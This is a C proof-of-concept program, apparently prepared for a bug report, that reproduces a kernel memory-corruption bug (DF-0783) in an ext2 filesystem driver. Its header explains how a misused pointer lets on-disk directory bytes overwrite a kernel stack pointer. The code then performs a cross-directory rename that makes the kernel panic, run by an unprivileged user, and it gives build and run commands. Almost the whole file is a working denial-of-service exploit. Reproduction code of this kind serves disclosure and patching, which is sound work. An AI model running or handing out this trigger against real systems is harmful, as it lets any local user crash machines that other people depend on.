/*
 * DF-0783 Trigger A — unprivileged DoS / panic on ext2_rename.
 *
 * Bug: sys/vfs/ext2fs/ext2_vnops.c:1042 passes (caddr_t)&dirbuf (address of the
 * stack pointer variable) instead of (caddr_t)dirbuf (the malloc'd heap buffer)
 * to vn_rdwr(UIO_READ). This reads sizeof(struct dirtemplate) = 24 bytes of the
 * source directory's first data block directly onto the kernel stack, clobbering
 * the 8-byte `dirbuf` pointer (bytes 0-7) and 16 bytes of adjacent frame. The
 * corrupted pointer is then dereferenced at :1048 (dirbuf->dotdot_type read) and
 * freed at :1072 (free(dirbuf)).
 *
 * This trigger (Trigger A, unpriv DoS): on any mounted ext2 filesystem, create
 * two sibling dirs d1, d2 and a child d1/sub, then rename(d1/sub, d2/sub). The
 * cross-directory rename of a directory sets doingdirectory=1 and newparent!=0,
 * entering the buggy :1038-1072 block. With a normal ext2 "." entry at offset 0
 * (dot_ino=<small>, dot_reclen=12, dot_type=2, dot_namlen=1), the resulting
 * 8-byte pointer value is non-canonical, so the :1048 deref faults -> panic.
 *
 * Build:  cc -o trigger_a trigger_a.c
 * Run:    ./trigger_a <dir-on-ext2-mount>     (as unprivileged user)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

int main(int argc, char **argv)
{
	const char *base;
	char d1[4096], d2[4096], sub[4096], dst[4096];

	if (argc != 2) {
		fprintf(stderr, "usage: %s <writable-dir-on-ext2-mount>\n", argv[0]);
		return 2;
	}
	base = argv[1];

	snprintf(d1,  sizeof(d1),  "%s/df0783_d1", base);
	snprintf(d2,  sizeof(d2),  "%s/df0783_d2", base);
	snprintf(sub, sizeof(sub), "%s/df0783_d1/sub", base);
	snprintf(dst, sizeof(dst), "%s/df0783_d2/sub", base);

	/* Clean up any previous attempt. */
	(void)unlink(dst);
	(void)rmdir(sub);
	(void)rmdir(d1);
	(void)rmdir(d2);

	if (mkdir(d1, 0755) != 0) { perror("mkdir d1");  return 1; }
	if (mkdir(d2, 0755) != 0) { perror("mkdir d2");  return 1; }
	if (mkdir(sub, 0755) != 0) { perror("mkdir sub"); return 1; }

	printf("[*] DF-0783 trigger A: about to rename(%s, %s)\n", sub, dst);
	printf("[*] If the bug is present, the kernel will fault dereferencing the\n");
	printf("    corrupted dirbuf pointer (non-canonical) at ext2_vnops.c:1048.\n");
	fflush(stdout);

	/* This is the syscall that enters ext2_rename -> the buggy :1042 vn_rdwr. */
	if (rename(sub, dst) != 0) {
		/* If we get here with an error, the bug path was NOT taken. */
		printf("[!] rename returned error: %s (errno=%d)\n", strerror(errno), errno);
		printf("[!] The buggy code path was not reached. Check:\n");
		printf("    - both paths are on the SAME ext2 mount\n");
		printf("    - the source is a directory (doingdirectory)\n");
		printf("    - the target parent differs (newparent)\n");
		return 1;
	}

	/* If rename SUCCEEDED without panicking, the bug may already be fixed,
	 * OR the malloc'd buffer happened to be at a canonical address. Either
	 * way, no panic = not reproduced by this trigger. */
	printf("[+] rename succeeded (no panic). Bug NOT reproduced by trigger A.\n");
	return 0;
}
